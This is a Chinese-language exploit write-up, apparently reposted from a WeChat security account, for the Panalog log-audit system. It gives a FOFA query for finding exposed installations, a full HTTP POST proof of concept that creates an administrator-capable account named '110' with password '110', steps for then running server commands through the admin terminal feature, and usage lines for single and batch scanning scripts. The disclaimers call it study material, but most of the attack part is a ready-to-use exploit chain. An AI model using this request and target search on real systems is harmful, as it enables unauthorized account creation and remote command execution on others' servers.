免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、漏洞描述
panalog为北京派网软件有限公司，一款流量分析，日志分析管理的一款软件。存在任意用户创建漏洞和后台命令执行漏洞，可先通过任意用户创建，然后进行后台命令执行，获取服务器权限。
二、网络空间搜索引擎查询
fofa查询
app="Panabit-Panalog"
三、漏洞利用
3.1 任意用户添加
POC
POST /singleuser_action.php HTTP/1.1Host: ip:portCookie: PHPSESSID=4dkc7q5hu7lkdlsfm5a0tcirn6User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDnt: 1Upgrade-Insecure-Requests: 1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 578{ "syncInfo": { "user": { "userId": "110", "userName": "110", "employeeId": "110", "departmentId": "110", "departmentName": "110", "coporationId": "110", "corporationName": "110", "userSex": "1", "userDuty": "110", "userBirthday": "110", "userPost": "110", "userPostCode": "110", "userAlias": "110", "userRank": "110", "userPhone": "110", "userHomeAddress": "110", "userMobilePhone": "110", "userMailAddress": "110", "userMSN": "110", "userNt": "110", "userCA": "110", "userPwd": "110", "userClass": "110", "parentId": "110", "bxlx": "110" },"operationType": "ADD_USER" } }
新增用户110，返回如下，则证明新增用户成功
成功后，进行用户登录。（用户名密码均为110）
3.2 命令执行
在系统维护 --> 终端命令 里面执行命令
并非所有的系统都有终端命令执行，有些没有
四、漏洞检测
单个检测
python .PanalogAddUser.py -u https://ip:port
批量检测
python .PanalogAddUser.py -f filename
关注公众号 网络安全透视镜，回复 20231004 获取检测脚本
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
原文始发于微信公众号（网络安全透视镜）：panalog日志审计系统任意用户创建漏洞和后台命令执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论